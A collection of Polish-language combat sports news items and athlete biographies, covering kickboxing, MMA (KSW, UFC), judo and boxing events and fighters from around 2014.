Podczas drugiej edycji gali DSF Kickboxing Challenge odbędzie się mocno obsadzony turniej w formule K-1. Weźmie w nim udział czterech czołowych zawodników z Polski, którzy powalczą o finał zaplanowany na kolejnej gali, już w lutym w Piasecznie. Kto wystąpi w finale? Okaże się już 13-ego grudnia.
My dziś chcemy przedstawić uczestników turnieju:
Kamil Ruta – aktualny Mistrz Świata kick light, Mistrz Polski K-1 oraz low kick 2014.- reprezentujący klub Wicher Kobyłka – członek grupy zawodowej DSF Kickboxing Team. Trener Grzegorz Engel.
Sebastian Adamski – Rekord 8-5-3 reprezentujący PACO Katowice. Trener Witold Kostka.
Jakub Bartnik – Młodzieżowy Mistrz Polski K-1 2014. Klub X Fight. Trenerzy Marcin Pałuba i Piotr Siegoczyński.
Mateusz Żukowski – brązowy medalista MŚ w Ju-jitsu. Klub Terlik Team Mikołajki. Trener Marek Terlik.
Holenderski kickboxer oraz zawodnik K-1 urodzony 11 lipca 1965 roku w Heemskerk. Sporty walki zaczął uprawiać w wieku 15 lat. Pierwszy tytuł jaki zdobył to było mistrzostwo Holandii w Boksie Tajskim w 1987 roku. W 1988 roku przeszedł na zawodowstwo. W 1993 roku zadebiutował w K-1 biorąc udział w turnieju o mistrzostwo K-1 Grand Prix w Tokio. Ostatecznie zajął drugie miejsce na tym turnieju. W następnych latach ugruntował swoją pozycje w światowej elicie kickboxingu. Jedenastokrotnie występował w finałach K-1 World GP. Turniej ten wygrał cztery razy (1997,1999,2000,2002) co czyni go obok Semmy’ego Schilta najbardziej utytułowanym zawodnikiem K-1. Karierę zakończył w 2006 roku. W swojej karierze stoczył 118 zawodowych walk z których 98 razy wygrywał. Obecnie prowadzi swój własny klub o nazwie Team Mr. Perfect. Jego największe osiągnięcia to:
Mamed Khalidov to bezwątpienia obecnie najbardziej rozpoznawany i ceniony w Polsce zawodnik mieszanych sztuk walki. Podczas gali KSW 29 w Krakowie Czeczen z polskim obywatelstwem w walce wieczoru podejmie Amerykanina Bretta Coopera.
Wszyscy przygotowywali się na starcie Khalidov – Drwal, które miało nastąpić właśnie 6 grudnia. Długo wyczekiwany pojedynek, który miał dać odpowiedź na pytanie o najlepszego polskiego fightera. Na to rozstrzygnięcie trzeba poczekać. Z powodu kontuzji Drwal musiał zrezygnować z walki, jednak prawdopodobnie dojdzie do niej w przyszłym roku. Teraz Khalidov musi zadowolić się Cooperem. Czym wsławił się Amerykanin? Czy można go porównać z Drwalem?
Zaczynając od ostatniego pytania, na pewno nie. Tomasz Drwal byłby najtrudniejszym rywalem dla Khalidova, a Cooper jest przeciwnikiem wymagającym. Tyle w tym temacie. Można jeszcze zwrócić uwagę na podstawową różnicę – Drwal jest doświadczonym i obytym w świecie zawodnikiem – walczył w UFC. Ponadto, Polak jest cenionym fighterem, który ma wyrobioną markę. Wiadomo, że wszyscy chcieliby zobaczyć w akcji Drwala, ale jest Cooper. Słów kilka o dokonaniach i możliwościach amerykańskiego fightera. Na pewno nie jest to człowiek z lasu i tzw. no name. 27-latek był pretendentem do tytułu mistrzowskiego Bellatora. Stoczył bardzo wyrównany, pięciorundowy, bój z Alexandrem Shlemenko, przyjacielem Khalidova. Cooper swoją przygodę z MMA zaczął w 2005 roku. W swojej karierze toczył pojedynki z takimi rywalami jak: Kendall Grove, Joe Doerksen, Sergio Moraes, Rory Markham. Doskonale znany polskiej widowni z gal KSW jest Grove. Cooper walczył ze swoim rodakiem w 2014 roku i pokonał go przez nokaut. 27-letni zawodnik zanotował do tej pory dwadzieścia zwycięstw, przy dziesięciu porażkach. Warto dodać, że trzynaście z dwudziestu wygranych walk zakończył nokautem. Przechodząc do warunków fizycznych Coopera, ma 183 centymetry i ważny 84 kilogramy. Preferuje walkę w stójce, używa licznych kombinacji ciosów i kopnięć. Cooper jest zawodnikiem ruchliwym i wytrzymałym. Czy przetrwa rywalizację z Khalidovem?
Wiadomo, że Mamed będzie starał się wyczuć Amerykanina i w miarę możliwości szukał zejścia do parteru bądź uwiązania się wokół szyi rywala. Dla Coopera lepszym rozwiązaniem byłoby utrzymywanie walki w dystansie niż wchodzenie w kontakt z Khalidovem, co jest ryzykowne i może źle zakończyć się dla 27-latka z Kalifornii.
Zawodnik Arrachionu Olsztyn z niejednym Amerykaninem już walczył. Cooper z pewnością nie jest najtrudniejszym rywalem dla Khalidova. O wiele bardziej wymagającym przeciwnikiem był Matt Lindland, srebrny medalista Igrzysk Olimpijskich w Sydney w zapasach, z którym Mamed wygrał przez gilotynę. Bez większych problemów Khalidov uporał się z Jamesem Irvinem, Jesse Taylorem, Jasonem Guidą, Rodneyem Wallace’m. Czeczen z polskim obywatelstwem miał problemy w rywalizacji z Kendallem Grovem, z którym walczył również Cooper. Podczas KSW 21 Amerykanin wysoko postawił poprzeczkę Mamedowi. Khalidov rozstrzygnął pojedynek na swoją korzyść w drugiej rundzie poprzez dźwignię na staw skokowy. Jak do tej pory, najbardziej ceniony zawodnik MMA w Polsce w rywalizacji z amerykańskimi fighterami nie miał problemów i kończył rywalizację w glorii chwały. Czy tym razem będzie inaczej? W jaki sposób Cooper może zagrozić zawodnikowi Arrachionu?
Amerykanin stoi przed trudnym zadaniem. Przede wszystkim musi dobrze mentalnie przygotować się do pojedynku i mądrze rozpocząć walkę. Khalidov jest w stanie wyczuć słabszy moment, który wykorzysta bezwzględnie. Bez wątpienia faworytem tej walki jest Mamed. Pierwsza twarz KSW jest niejako zobowiązany do zwycięstwa, gdyż Cooper to jedynie alternatywa. Prawdziwa bitwa Khalidova dopiero czeka. Tomasz Drwal to nazwisko, które budzi uznanie i wszyscy czekają, aby zobaczyć go na KSW. Z tym, że Khalidov musi być obecny całym sobą na KSW 29 i skupić się na rywalizacji z Cooperem. A o Drwalu może myśleć po walce. Wszyscy inni i tak będą odliczali dni do rywalizacji Khalidov – Drwal. Pojedynek Mameda z Cooperem będzie przystawką. Khalidov ma zadanie, które musi wykonać. Cooper nie może go zaskoczyć.
KM
Małe Mistrzostwa Świata z udziałem 7 Polaków – tak będzie wyglądał turniej judo Grand Slam, który od piątku do niedzieli odbędzie się w Tokio. Transmisje codziennie o godzinie 8:00 w FightKlubie.
Do japońskich zawodów zgłosiło się ponad pół tysiąca zawodniczek i zawodników z 72 krajów, w tym siedmioro Polaków – Ewa Konieczny -48 kg, Agata Perenc -52 kg, Aleksander Beta -66 kg, Krzysztof Wiłkomirski -73 kg, Kamil Kozłowski -90 kg, Kacper Larem -100 kg i Maciej Sarnacki 100 kg.
Obsada jest iście mistrzowska, bowiem zgłosiło się do startu aż 11 zwycięzców tegorocznych Mistrzostw Świata. W tym gronie są rzadko oglądani na tatami Czech Lukas Krpalek -100 kg, Grek Ilias Iliadis -90 kg, Kolumbijka Youri Alvear -70 kg czy Kubanka Idalys Ortiz 78 kg.
Z tej grupy tytułu wywalczonego rok temu w Tokio będzie bronić Lukas Krpalek, największa gwiazda w historii czeskiego judo. W przeszłości w Jigoro Kano wygrywali też Polacy – Paweł Nastula w 1992 roku i Tomasz Kowalski w 2007. Tym razem największe szanse na podium ma Maciej Sarnacki, który w tym sezonie już 4 razy był w najlepszej trójce zawodów Grand Slam i Grand Prix.
Głównymi faworytami są gospodarze, którzy wystawiają aż 56 swoich reprezentantów. Rok temu zdobyli 11 złotych, 2 srebrne i 14 brązowych medali zdecydowanie wygrywając klasyfikację drużynową. Ponadto przegrali 6 walk o trzecie miejsca, co oznacza, że łącznie o medale biło się aż 33 Japończyków. Pozostałe kraje były tylko tłem. Czy podobnie będzie w tegorocznej edycji?
Źródło: materiały prasowe
Bardzo widowiskowy Alan Sanchez (14-3-1, 8 KO), wygrał dziewięć z dziesięciu ostatnich walk, w dwóch ostatnich występach nokautując Jorge Silvę oraz Jose Luisa Ramireza Juniora i nie zamierza czwartkowej nocy zrobić niczego innego, jak podtrzymać tę świetną passę w starciu z Edem Paredesem (35-4-1, 23 KO). 6 lat starszy od rywala “Lew” (29 l.) walczy zawsze tak, by nie stracić swojego dumnie brzmiącego przydomka. W ostatnim pojedynku uległ na punkty cenionemu Alfonso Gomezowi, jednak miał go dwukrotnie na deskach. 13 poprzednich pojedynków wygrał, zdecydowaną wiekszość przez nokaut. Doświadczony w 40 walkach “Lew” ma zamiar pożreć nieopierzonego w doświadczenie Sancheza. Znając style walki i temperamenty obu Panów, starcie zapowiada się naprawdę emocjonująco. Konfrontacje zaplanowano na 10 rund w kategorii półśredniej.
W drugiej walce wieczoru zobaczymy niepokonanego Manuela “Tino” Avilę (16-0, 7 KO), którego już nie raz meliście okazję obejrzeć na antenie FightKlubu. 22-latek z kategorii piórkowej skrzyżuje rękawice z doświadczonym Meksykaninem Jose Luisem Araizą (31-9-1, 22 KO).
Gala na żywo wyłącznie w FightKlubie, zapraszamy w nocy z czwartku na piątek na 04:00!
W sobotę natomiast będziemy świadkami walki o Mistrzostwo Unii Europejskiej. Włoch Matteo Signani zmierzy się z Francuzem Ahmedem Rifaie. Transmisja o godzinie 21:00.
Źródło: materiały prasowe
Polski zawodnik brazylijskiego jiu-jitsu oraz MMA urodzony 27 września 1983 roku w Szczecinie. Aktualny międzynarodowy Mistrz KSW wagi ciężkiej. Zanim został mistrzem KSW, swoją przygodę ze sportami walki rozpoczął trenując Brazylijskie Jiu-Jitsu. W 2006 roku został mistrzem Polski w BJJ oraz wicemistrzem w submission fightingu. Karol wywalczył również trzykrotnie mistrzostwo Europy BJJ w kategorii wagowej powyżej 100kg w latach 2006,2007,2008. W 2007 roku podczas Europejskich kwalifikacji do Mistrzostw Świata zajął drugie miejsce, ulegając tylko Finowi Janne Pietilainenowi. Za dobra postawę podczas turnieju otrzymał dziką kartę, dzięki której wystartował w Mistrzostwach Świata w Trenton. Na tym turnieju Karol doszedł do ćwierćfinału, w którym przegrał z późniejszym złotym medalistą Fabricio Verdumem. W MMA Karol zadebiutował w 2007 roku podczas gali KSW 8 na której stoczył dwa pojedynki. W pierwszym pokonał Francuza Francisa Carmonta przez jednogłośną decyzję, zaś w drugim przegrał z Aleksiejem Olejnikiem przez poddanie w pierwszej rundzie. W swojej dotychczasowej karierze MMA Karol stoczył zwycięskie pojedynki z takimi zawodnikami jak Rolles Gracie, Paweł Nastula, Oli Thompson czy David Olivia.
Maciej Sarnacki nie zwalnia tempa. Polski zawodnik judo jest w dobrej formie, co udowodnił po raz kolejny. Tym razem podczas zawodów Grand Prix w Korei Południowej, gdzie wywalczył brązowy medal.
Sarnacki zaprezentował się z dobrej strony – trzy walki wygrał, jedną przegrał. W 1/8 finału polski judoka trafił na rywala z Chin Liu Janema, z którym sobie poradził. Bez większych problemów Sarnacki rozstrzygnął na swoją korzyść ćwierćfinałową walkę z Temuulenem Battulgą z Mongoli. Ciężkie warunki spotkały reprezentanta Polski w walce o brązowy medal. Rosjanin Sergey Kesaev wysoko postawił poprzeczkę i przez pewien czas był bliższy sukcesu, gdyż prowadził (waza – ari). Ostatecznie Sarnacki założył skuteczne trzymanie i wygrał. Najlepszy w kategorii +100 kg okazał się Teddy Riner.
W półfinale silniejszy okazał się Kim Sung – Min, zawodnik gospodarzy. Warto odnotować, że Koreańczyk to piąty zawodnik Igrzysk Olimpijskich w Londynie. Mimo wszystko Sarnacki nie poddał się i wywalczył brąz w walce ze wspomnianym Kesaevem.
Reprezentant Polski konsekwentnie buduje swoją pozycję i pnie się coraz wyżej w rankingu olimpijskim. Sarnacki jest w dobrej formie, a występ w Korei jest tego najlepszym potwierdzeniem. W tym sezonie polski judoka cztery razy stawał na podium międzynarodowych zawodów. Sarnacki zajął drugą lokatę w Grand Prix w Madrycie, a także dwukrotnie był trzeci w Grand Slamach – w Tiumeniu i Abu Zabi. Sarnacki wyrasta stopniowo na lidera męskiej reprezentacji i jest na najlepszej drodze, aby umiejscowić się w światowej czołówce.
Inni nasi zawodnicy nie odnieśli w Korei sukcesów. Kamil Kozłowski dobrze rozpoczął zawody, od wygranej z Lee Isungiem z Korei, jednak w 1/8 finału uległ Davidowi Ruizowi z Hiszpanii. Słabo zaprezentował się Aleksander Beta, który stoczył tylko jedną walkę. Polski judoka przegrał z Rosjaninem Anzaurem Ardanovem.
Teraz przed naszymi zawodnikami kolejne zawody. Tym razem reprezentanci Polski udadzą się do Tokio, na Grand Slam im. Jigoro Kano. W Japonii zobaczymy startujących w Korei Betę, Kozłowskiego oraz Sarnackiego, a także Ewę Konieczny, Agatę Perenc, Krzysztofa Wiłkomirskiego, Kacpra Larema. Liczymy na kolejny dobry występ naszych zawodników, przede wszystkim na medal. Wydaje się, że w najlepszej dyspozycji jest Maciej Sarnacki, który powinien iść za ciosem. Warto przypomnieć, że nasze panie obecnie są w wyśmienitej formie. Podopieczne Anety Szczepańskiej zdobywają medal za medalem. Choć nie ma Katarzyny Kłys, Darii Pogorzelec czy Agaty Ozdoby to liczymy na to, iż Ewa Konieczny i Agata Perenc godnie zastąpią swoje koleżanki.
Kolejne zawody w Tokio w dniach 5 – 7 grudnia. Sportowo judo wygląda dobrze. Do zdobywających czołowe miejsca na światowych zawodach pań dołączył Maciej Sarnacki, co bardzo cieszy. W perspektywie Igrzysk Olimpijskich te informacje są istotne i pokazują, że judo idzie w dobrym kierunku.
KM
Gościem w naszym studiu był Prezes Polskiego Związku Judo Pan Wiesław Błach. Nie było by nic dziwnego w tym, gdyby nie fakt, że Polskim Związkiem Judo obecnie zawiaduje kurator. W obecnym stanie rzeczy gdzie aresztowany jest prezes i v-ce prezes siatkówki, gdzie mówi się coraz więcej o dopingu w ciężarach nie są powoływani kuratorzy…przypomnijmy sławetną sprawę PZPN w sporze z Ministerstwem Sportu, również wszystko legło w gruzach…jak się okazuje mogą być równi i równiejsi…o tym i nie tylko opowiedział nam i Wam nasz gość.
[kod]
Prekursor MMA w Polsce urodzony 23 lipca 1969 roku w Toruniu. Jest głównym trenerem w Poland Top Team oraz byłym zawodnikiem MMA. Posiada czarny pas w Brazylijskim Jiu-Jitsu. Jest założycielem Profesjonalnej Ligi MMA (PLMMA) oraz Amatorskiej Ligi MMA (ALMMA).
W 2000 roku założył klub MMA Warszawa. 10 października 2002 roku zorganizował pierwszy oficjalny pojedynek MMA w Polsce. W tej walce zmierzyli się ze sobą Grzegorz Jakubowski z Temistoklesem Teresiewiczem. Walkę tę sędziował Mirosław Okniński. Starcie trwało 45 minut i jak dotąd jest najdłuższym pojedynkiem MMA w Polsce. W 2003 roku Mirosław zorganizował pierwszy w Polsce turniej MMA pod nazwą MMA Polska. Przez półtora roku odbyło się siedem edycji tego turnieju na którym swoje kariery rozpoczynali tacy zawodnicy jak: Michał Materla, Antoni Chmielewski, Grzegorz Trędowski czy Przemysław Mysiała. W 2005 roku Okniński zorganizował galę MMA Sport która była transmitowana na antenie Polsat Sport. Na gali wystąpili m.in. Mamed Chalidow, Tomasz Drwal, Krzysztof Kułak, Jędrzej Kubski oraz Łukasz Chlewicki. Jeszcze w tym samym roku w klubie MMA Warszawa odbyły się pierwsze amatorskie walki MMA nazwane Amatorską Ligą MMA, które do dziś są największymi amatorskimi zawodami w Polsce. W 2007 roku osobiście zadebiutował w MMA na gali PRO Fight w Toruniu, gdzie pokonał Łukasza Warchoła. W tym samy roku został Mistrzem Europy w Brazylijskim Jiu-Jitsu w kategorii brązowych pasów. Dwa lata później został promowany na czarny pas Brazylijskiego Jiu-Jitsu przez Mario Neto.
Jako główny trener w MMA Warszawa, Mirosław trenował takich zawodników jak: Łukasz Jurkowski, Paweł Nastula, Krzysztof Jotko, Mariusza Pudzianowskiego i Marcina Najmana. W 2014 roku zmienił nazwę klubu na Poland Top Team, która nawiązuje do największych klubów MMA na świecie. W 2012 roku założył Profesjonalną Ligę MMA, której celem jest promowanie zawodników wyróżniających się na galach Amatorskiej Ligi MMA oraz mniej doświadczonych zawodników. W 2012 roku powołał do życia pierwszy w Polsce Profesjonalny Związek MMA (PZMAA), w którym do 2014 roku zasiadał w zarządzie wraz z Andrzejem Parzęckim i Sławomirem Cypelem. W 2014 roku założył Polską Federacje MMA (PLMMAF). 24 kwietnia 2014 roku PLMMAF zostało członkiem Międzynarodowej Federacji MMA.
Polski i Niemiecki bokser urodzony 5 maja 1968 roku w Gdańsku. Były mistrz Świata federacji WBO, WBA, IBF w kategorii pół ciężkiej oraz WBO w kategorii junior ciężkiej. Mistrz Europy amatorów w kategorii pół ciężkiej. Dariusz Michalczewski był niepokonanym bokserem przez 12 lat.
Treningi bokserskie rozpoczął w wieku 12 lat, gdzie na treningi bokserskie zaprowadził go jego wuj. Najpierw reprezentował barwy Stoczniowca Gdańsk, a w latach 1987-1988 Czarnych Słupsk. W 1985 roku został mistrzem Polski juniorów w wadze półśredniej, a rok później wywalczył złoty medal młodzieżowych Mistrzostw Polski w wadze lekkośredniej. W roku 1987 zdobył tytuł Mistrza Polski seniorów w wadze lekkośredniej. 24 kwietnia 1988 roku nie powrócił z wyjazdu ekipy bokserskiej do RFN i tam zaczął karierę zawodową, za co został dożywotnio zdyskwalifikowany przez Polski Związek Bokserski. W lipcu tego roku otrzymał obywatelstwo Niemieckie i kontynuował karierę amatorską. Po pewnym czasie zaczął boksować w Bayerze Leverkusen. Najpierw zdobył Mistrzostwo Niemiec, a potem w 1991 roku został Mistrzem Europy w wadze półciężkiej. Jego osiągnięcia amatorskie to:
W sierpniu 1991 roku przeszedł na zawodowstwo i podpisał kontrakt z Universum Box-Promotions w Hamburgu. Na zawodowym ringu zadebiutował w tym samym roku pokonując Frederica Porterema. 22 maja 1993 roku zdobył tytuł interkontynentalnego mistrza federacji IBF w kategorii półciężkiej po zwycięstwie nad Noele Magee. 10 września 1994 roku zdobył mistrzostwo Świata WBO w kategorii półciężkiej pokonując Leonzerem Barberem. 17 grudnia 199 4 roku zdobył mistrzostwo Świata WBO w kategorii junior ciężkiej pokonując Nestora Giovanini. 13 czerwca 1997 roku zdobył także mistrzowskie pasy organizacji WBA i IBF w kategorii półciężkiej. W 2002 roku federacja WBO ogłosiła Dariusza Michalczewskiego „czempionem wszech czasów”. W 2003 roku doznał swojej pierwszej porażki na zawodowych ringach, będąc niepokonanym przez 12 lat. Dariusza pokonał niejedno głośnie na punkty Meksykanin Julio Cesaz Gonzalez, tracąc tym samym pas mistrza WBO w kategorii półciężkiej. W 2005 roku stracił pas mistrzowski WBA wagi półciężkiej, walcząc z Francuzem Fabrice Tiozzo. 1 czerwca 2005 roku Dariusz Michalczewski zakończył karierę bokserską.
Osiągnięcia w boksie zawodowym:
31 stycznia 2015 roku w Las Vegas odbędzie się gala UFC 183, podczas której pojedynkiem wieczoru ma być walka Andersona Silvy z Nickiem Diazem. Organizacja dodała do głównej karty kolejne starcia. Ostatnio pojawiły się w niej dwa ciekawe pojedynki.
John Lineker (na zdjęciu) stanie oko w oko z Ianem McCallem. Pierwotnie obaj fighterzy mieli zmierzyć się podczas gali UFC Fight Night 56, jednak z powodu pogorszenia stanu zdrowia McCalla pojedynek odwołano. Lineker w ostatnim pojedynku w UFC w trzeciej rundzie pokonał Alptekina Ozkilica. Po informacji, że pojedynek z McCallem nie dojdzie do skutku chciał się spotkać z mistrzem dywizji muszej Demetriousem Johnsonem. Te plany Lineker obecnie musi odłożyć na bok. Fighter zmierzy się z McCallem, który w UFC ma bilans 2-2-1. Co ciekawe, ostatnie dwie walki wygrał przez decyzje sędziów. McCall okazał się lepszy od Ilardego Santosa i Brada Picketta. Warto nadmienić, że Lineker do tej pory stoczył w UFC siedem pojedynków, z których w dwóch musiał uznać wyższość rywali.
Od 2007 roku w UFC walczy John Luzon. Tym razem rywalem J-Lau będzie Al Iaquinta. Ostatnimi doświadczeniami Luzona są wygrane z Makiem Danzigiem i Michaelem Chiesą. J-Lau miał stanąć w rywalizacji z Diegiem Sanchezem na UFC 180, jednak z powodu kontuzji żeber Amerykanina do walki nie doszło. Al Iaquinta jest mniej doświadczonym zawodnikiem niż jego najbliższy rywal. W UFC toczy pojedynki od dwóch lat, w tym czasie dorobił się bilansu 5-2. Ostatnie dwie walki wygrał, okazał się lepszy od Rodriga Damma i Rossa Pearsona.
Najlepszą reklamą dla gali UFC 183 jest starcie Andersona Silvy z Nickiem Diazem, które jest walką wieczoru. Dwa mocne nazwiska z pewnością dostarczą wielu emocji i zaprezentują odpowiedni poziom. Wszyscy z niecierpliwością czekają na ten pojedynek. Sam Anderson Silva uważa, że będzie to ogromne wydarzenia. – To będzie świetna gala dla fanów. Nasza walka przejdzie do historii jako najlepsze starcie w stójce do jakiego kiedykolwiek doszło.
Czy będzie tak jak mówi Anderson Silva? Czas pokaże. Jednakże Diaz i Silva to nadal ważne nazwiska w świecie MMA. Diaz wraca do UFC po tym jak zawiesił swoją karierę po nieudanej próbie zdobycia pasa wagi półśredniej. W takim wypadku fighter chce zaprezentować się z jak najlepszej strony. Zwycięstwo marzy się Silvie, który dwie ostatnie walki przegrał. Po cichu zawodnik wspomina o chęci stoczenia kolejnego pojedynku z Chrisem Weidmanem.
Warto dodać, że w drugiej walce wieczoru naprzeciw siebie staną Tyron Woodley i Kelvin Gastelum. Gala UFC 183 zapowiada się interesująco. Znamy głównych bohaterów. Ciekawie widowisko mogą stworzyć Lineker z McCallem oraz Luzon z Iaquintą.
KM
Polska judoczka urodzona 20 sierpnia 1974 roku we Włocławku. Jest wychowanką klubu Zryw, a od roku 1999 trenowała w klubie MKS Olimpijczyk Włocławek. Obecnie Aneta Szczepańska prowadzi kobiecą kadrę narodową z która odnosi sukcesy.
Jej największe osiągnięcia jako zawodniczka to:
Zawodową karierę zakończyła w 2010 roku. W 1996 roku Aneta Szczepańska została odznaczona Złotym Krzyżem Zasługi za wybitne osiągnięcia sportowe. W 2010 roku po raz drugi została odznaczona, tym razem Krzyżem Kawalerskim Orderu Odrodzenia Polski za wybitne osiągnięcia sportowe.
Polska judoczka urodzona 27 lipca 1967 roku w Czeladzi. Ze względu na swoje warunki fizyczne, w środowisku judoków nazywana jest „ Kruszyna”. Karierę sportową rozpoczęła w wieku 15 lat w klubie GKS Jastrzębie, następnie w 1991 roku trenowała w Błękitnych Kielce, w latach 1991-1994 w KS Koka Jastrzębie, następnie w latach 1998-2002 w AZS Wrocław. Beata była trzy krotną uczestniczką Igrzysk Olimpijskich (Barcelona 1992, Atlanta 1996, Sydney 2000).
Największe sukcesy Beaty Maksymow jako zawodniczki to:
Mistrzostwa Świata:
Mistrzostwa Europy:
Na swoim koncie ma również 23 medale Mistrzostw Polski. Karierę sportową zakończyła w 2001 roku.
Trzy razy zagrano Mazurka Dąbrowskiego w Mariborze. Nasza reprezentacja w kick-boxingu pokazała się z dobrej strony podczas mistrzostw Europy WAKO.
Ogromna radość, wielki sukces i prestiż tak można definiować zdobycie złotego medalu podczas mistrzowskiej imprezy. Tytuły najlepszych z najlepszych zdobyli: Anna Knobel w light contact 50 kg, Paulina Jarzmik pointfighting 65 kg oraz Kacper Narloch w kick-light 57 kg. Może nietypowo, tym razem zaczniemy od pana. Kacper Narloch po złoto sięgnął już w pierwszym dniu imprezy. Reprezentant Polski w walce finałowej pokonał Turka Metina Adanca i tym samym obronił tytuł. Narloch to utytułowany zawodnik, z kolei dla Anny Knobel mistrzostwo Europy w light contact to życiowy sukces. Zawodniczka Beniaminka 03 Starogard Gdański po raz pierwszy w karierze zdobyła złoty medal. Finał był niezwykle trudny. Rywalką reprezentantki Polski była Petra Lonczar, która wysoko postawiła poprzeczkę. Walka była wyrównana, Knobel dopiero w ostatniej rundzie zyskała przewagę i mogła wznieść ręce w geście triumfu.
Paulina Jarzmik sięgnęła po złoto w kategorii 65 kg pointfighting. Polka najtrudniejszą przeszkodę miała w półfinale, jednak po ciężkiej walce zwyciężyła. Finał układał się po myśli Jarzmik, która konsekwentnie od pierwszej rundy budowała swoją przewagę. Madlen Dimitrova nie miała szans w starciu z reprezentantką Polski. W Mariborze Mazurek Dąbrowskiego zabrzmiał trzy razy, choć mogło być lepiej. Blisko triumfu była Dorota Godzina, która uległa reprezentantce Irlandii Beasley. Warto dodać, że Polka podczas turnieju wywalczyła dwa medale. Srebro w light contact oraz brąz w kick light. Monika Kędzierska po pierwszej rundzie walki finałowej prowadziła, ale nie potrafiła utrzymać przewagi i przegrała.
Z dobrej strony zaprezentowali się weterani, który wzbogacili dorobek medalowy naszej reprezentacji o dwa krążki. Wojciech Wiśniewski w kategorii 84 kg i Leszek Jobs w kategorii 94 kg w light contact zdobyli brązowe medale. Dodać należy, że dobry występ zaliczył Artur Bizewski z Kartuz. Zawodnik startujący w kick light w kategorii +94 kg wywalczył brąz.
Nasza reprezentacja większość medali zdobyła w kick light. Kacper Narloch sięgnął po złoty medal. Ponadto, w formule kick light zdobyliśmy cztery srebrne i cztery brązowe krążki. Po medal sięgnął mistrz świata Kamil Ruta w kategorii 79 kg, co jest powodem do radości po jego przygodach w turnieju w Bilbao. Cieszy również drugie miejsce Jerzego Wrońskiego, który imprezę w Hiszpanii też wspomina nienajlepiej. Przypomnijmy, w Bilbao Ruta i Wroński odpadli przez błędy sędziów. W Mariborze pokazali klasę i zdobyli medale.
Reprezentacja Polski z Mariboru wraca w dobrych nastrojach. Miał być worek medali i jest. Polacy wywalczyli czternaście krążków – trzy złote, pięć srebrnych i sześć brązowych. Występ godny uwagi i pochwały, choć jak zauważył Piotr Siegoczyński – minimalne porażki w ćwierćfinałach bolą. Cieszymy się z tego, co mamy i po raz kolejny wyraźnie widzimy, że na imprezy mistrzowskie w kick-boxingu jedziemy po medale, a nie po to, aby odgrywać rolę tła. W Europie mamy ugruntowaną pozycję i trzeba to zauważyć, a także z całej siły podkreślić. Kick-boxing ma potencjał, o czym świadczą ostatnie występy Polaków.
Nasze medale:
Złote:
-50 kg Anna Knobel (Beniaminek 03 Starogard Gd.) – light-contact
-65 kg Paulina Jarzmik (KS X Fight Piaseczno) – pointfighting
-57 kg Kacper Narloch (Cholew Sport Police) – kick-light
Srebrne:
-55 kg Dorota Godzina (KS X Fight Piaseczno) – light-contact
-65 kg Monika Kędzierska (Sparta Chrzanów) – kick-light
-74 kg Jerzy Wroński (Palestra Warszawa) – kick-light
-79 kg Kamil Ruta (Wicher Kobyłka) – kick-light
-89 kg Mateusz Jereczek (Rebelia Kartuzy) – kick-light
Brązowe:
-55 kg Dorota Godzina (KS X Fight Piaseczno) – kick-light
-60 kg Paulina Frankowska (KS X Fight Piaseczno) – kick-light
-70 kg Martyna Dzięciołowska (Wicher Kobyłka) – kick-light
+94 kg Artur Bizewski (Rebelia Kartuzy) – kick-light
-84 kg weterani Wojciech Wiśniewski (Ostrowiecki Klub Sportów Walki Ostrowiec Św.) – light-contact
-94 kg weterani Leszek Jobs (Zamek Expom Kurzetnik) – light-contact
KM
Długo zapowiadany i oczekiwany pojedynek zakończył się wygraną Pacmana na punkty. Manny Pacquiao był zdecydowanie lepszy od Chrisa Algieriego, jednak nie udało mu się zwyciężyć przez nokaut.
Walka odbyła się w Macau, gdzie widzowie zobaczyli popis. Popis jednej strony. Mistrz świata federacji WBO wagi półśredniej zapowiadał, że w tym starciu widzowie zobaczą jego wygraną przez nokaut. Niepokonany Algieri okazał się na tyle wytrzymały, iż nie pozwolił Pacmanowi na efektowne zwycięstwo. Historia pojedynku była budowana na długo przed wejściem głównych aktorów do ringu. Obaj pięściarze byli obecni w mediach i dużo mówili o walce, swoich umiejętnościach i swoich planach. Wydawało się, że starcie może być jednym z ciekawszych pojedynków w ostatnim czasie. Algieri zapowiadał, że jego ciężkie treningi dadzą efekt, jednak ring pokazał zupełnie coś innego. Pacquiao, który stoczył już niejedną walkę i jest bokserem o ogromnych umiejętnościach, posłał swojego rywala na deski aż sześć razy. Ilość zatrważająca. Wydawać by się mogło, że taką sytuację można wytwarzać jedynie w wyobraźni, jednak ta faktycznie miała miejsce. Algieri okazał się twardym zawodnikiem, który przyjął ogrom ciosów i mimo tego wytrzymał do końca walki.
Przed pojedynkiem zwracano uwagę na fakt, iż Pacquiao jest niższy od swojego rywala. Wydawało się, że atutem Algieriego będzie większy zasięg ramion i możliwość trzymania przeciwnika na dystans. Okazało się, że Pacman genialnie poradził sobie z przewagą fizyczną rywala. Mistrz świata WBO wagi półśredniej zdominował Algieriego swoją szybkością. Pacman znalazł sposób na wyższego rywala i już w drugiej rundzie posłał go na deski. Niepokonany Algieri wstał i kontynuował walkę. Padał na deski jeszcze w szóstej i dziewiątej rundzie, jednak konsekwentnie podnosił się z nich. Po takiej wymianie sędziowie nie mogli mieć żadnych wątpliwości. Pacquiao wygrał zdecydowanie: 119-103, 119-103, 120-102. Trudno jednoznacznie ocenić, co stało się z Algierim. Być może nie udźwignął presji i sparaliżował go strach. Patrząc realnie na ten pojedynek – Pacman zdominował całkowicie swojego rywala. Jedynie godne uznania jest to, że Algieri był twardy jak skała i wytrzymał cały pojedynek. Tylko czy o to chodziło?
Ta walka miała wyglądać inaczej. Scenariusz pojedynku ułożył się tak, a nie inaczej. Warto podkreślić, że Pacquiao walczył z przeciwnikiem, który charakteryzuje się ogromnym potencjałem bokserskim i ma na swoim koncie osiągnięcia. Algieri to nie jest gość z ulicy. Po prostu w tym przypadku umiejętności bokserskie nie zgrały się ze sferą przygotowania mentalnego.
